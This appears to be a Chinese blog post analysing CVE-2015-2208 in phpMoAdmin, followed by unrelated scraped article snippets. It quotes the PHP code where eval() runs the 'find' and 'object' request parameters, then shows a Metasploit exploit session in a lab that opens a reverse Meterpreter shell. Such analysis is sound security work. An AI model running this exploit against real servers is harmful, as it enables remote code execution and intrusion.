phpMoadmin CVE-2015-2208 远程代码执行漏洞分析
原文:http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html
phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。

/phpmoadmin/moadmin.php 第555行
public function listRows($collection) {
foreach ($this->sort as $key => $val) { //cast vals to int
$sort[$key] = (int) $val;
}
$col = $this->mongo->selectCollection($collection);
$find = array();
if (isset($_GET['find']) && $_GET['find']) {
$_GET['find'] = trim($_GET['find']);
if (strpos($_GET['find'], 'array') === 0) {
eval('$find = ' . $_GET['find'] . ';');
} else if (is_string($_GET['find'])) {
if ($findArr = json_decode($_GET['find'], true)) {
$find = $findArr;
}
}
}
在这个listRows方法中,eval执行GET接收的find参数,首先$find变量初始化为数组,而且通过strpos判断传入的值是否为数组。看看哪里调用了这个方法。
/phpmoadmin/moadmin.php 第836行
if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
$this->mongo[$action] = self::$model->$action($_GET['collection']);
$this->mongo['count'] = self::$model->count;
$this->mongo['colKeys'] = self::$model->colKeys;
}
首先需要设置collection,根据$action跟踪到第785行,这里就可以通过action接收listRows参数来调用listRows方法。
$action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections');
整体触发漏洞的逻辑就是首先通过action接收listRows,调用这个方法后,eval就会执行$find传入的值。由于过滤不严,即可执行传入的任意恶意代码。

/phpmoadmin/moadmin.php 第693行
public function saveObject($collection, $obj) {
eval('$obj=' . $obj . ';'); //cast from string to array
return $this->mongo->selectCollection($collection)->save($obj);
}
saveObject函数中eval执行了形参$obj,找找哪里调用了这个函数。
/phpmoadmin/moadmin.php 第786行
if (isset($_POST['object'])) {
if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
return $this->_dumpFormVals();
} else {
$action = 'editObject';
$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
}
}
开头检查POST是否传输了object,随后内包含的if进行判断,这个过程即调用了当前类的saveObject方法,POST传入object参数的值带入eval后就造成了代码执行。

Msf也已经更新了此漏洞的Exploit:
msf > use exploit/multi/http/phpmoadmin_exec
msf exploit(phpmoadmin_exec) > show options
Module options (exploit/multi/http/phpmoadmin_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the PHPMoAdmin page
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 PHPMoAdmin
msf exploit(phpmoadmin_exec) > set RHOST 172.16.20.136
RHOST => 172.16.20.136
msf exploit(phpmoadmin_exec) > set TARGETURI /phpmoadmin
TARGETURI => /phpmoadmin
msf exploit(phpmoadmin_exec) > exploit
[*] Started reverse TCP handler on 172.16.20.1:4444
[*] Executing payload...
[*] Sending stage (33684 bytes) to 172.16.20.136
[*] Meterpreter session 1 opened (172.16.20.1:4444 -> 172.16.20.136:33492) at 2015-03-05 22:34:56 +0800
meterpreter > ls
Listing: /php/www/phpmoadmin
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 31713 fil 2015-03-05 21:42:58 +0800 LICENSE
100644/rw-r--r-- 5078 fil 2015-03-05 21:42:58 +0800 README.textile
100644/rw-r--r-- 1858 fil 2015-03-05 21:42:58 +0800 change.log
100644/rw-r--r-- 111430 fil 2015-03-05 21:42:58 +0800 moadmin.php
phpMoadmin CVE-2015-2208 远程代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器. Microsoft Internet Explorer 6至9版本中存在漏 ...
- CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析
[CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110) Microsoft Wi ...
- Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现
0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...
- CVE-2018-7600 Drupal核心远程代码执行漏洞分析
0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
- Thinkphp5-0-X远程代码执行漏洞分析(2019-1-11)
周五下午爆洞能不能让人们好好休个周末! 分析过程 本次漏洞关键位置:/thinkphp/library/think/Request.php,lines:501由图可以看到在method函数中引入了可控 ...
随机推荐
- ajax用get刷新页面元素在IE下无效解决~~
总结一下解决办法: 在IE下用Ajax请求某一页面,通常会因为缓存的原因而返回上一次的结果,造成混乱,[即get方式时,获取数据,因发送参数和地址都一致,故IE浏览器会从缓存中取,而不会去请求服务器端 ...
- CentOS7 NTP 安装配置
NTP 网络时间协议用来同步网络上不同主机的系统时间.你管理的所有主机都可以和一个指定的被称为 NTP 服务器的时间服务器同步它们的时间.而另一方面,一个 NTP 服务器会将它的时间和任意公共 NTP ...
- List提取相同元素
List<int> currentList = Cls_Data.SoruceDataIntses[key]; preList = currentList.Intersect(preLis ...
- node的核心模块path
//导入模块path var path=require("path"); //path.basename :输出文件名+后缀 //console.log(path.basename ...
- Weblogic集群
http://dead-knight.iteye.com/blog/1942514 http://www.cnblogs.com/HondaHsu/p/4267972.html#undefined
- python shutil.copy()用法
shutil.copyfile(src, dst):复制文件内容(不包含元数据)从src到dst. DST必须是完整的目标文件名; 如果src和dst是同一文件,就会引发错误shutil.Error. ...
- Redis 外部访问设置
1.错误原因 Redis搭建好后一般都是使用编程语言进行连接调用,默认Redis的设置是不允许外界访问的,连接Redis只能通过本地(127.0.0.1)来连接,而不能使用网络IP(192.168.1 ...
- oracle 11.2.0.4单实例文件系统安装与补丁
[TOC] 一,预安装处理 1.版本准备 操作系统:RHEL 6.5 数据库版本:Oracle 11.2.0.4 相关包:p13390677_112040_Linux-x86-64_1of7.zip ...
- ng-table 简单实例
今天用的AngularJs需要做个分页,于是用ng-table去实现,不过这个官网感觉有点坑,说的不够清楚. 下面实现了一个Demo实力,代码如下: <!DOCTYPE html> < ...
- [UWP]使用AdaptiveTrigger实现自适应布局
这篇博客将介绍如何在UWP开发中使用AdaptiveTrigger实现自适应布局. 场景1:窗体宽度大于800时,窗体背景色为绿色,窗体在0到800之间为蓝色. XAML Code: <Grid ...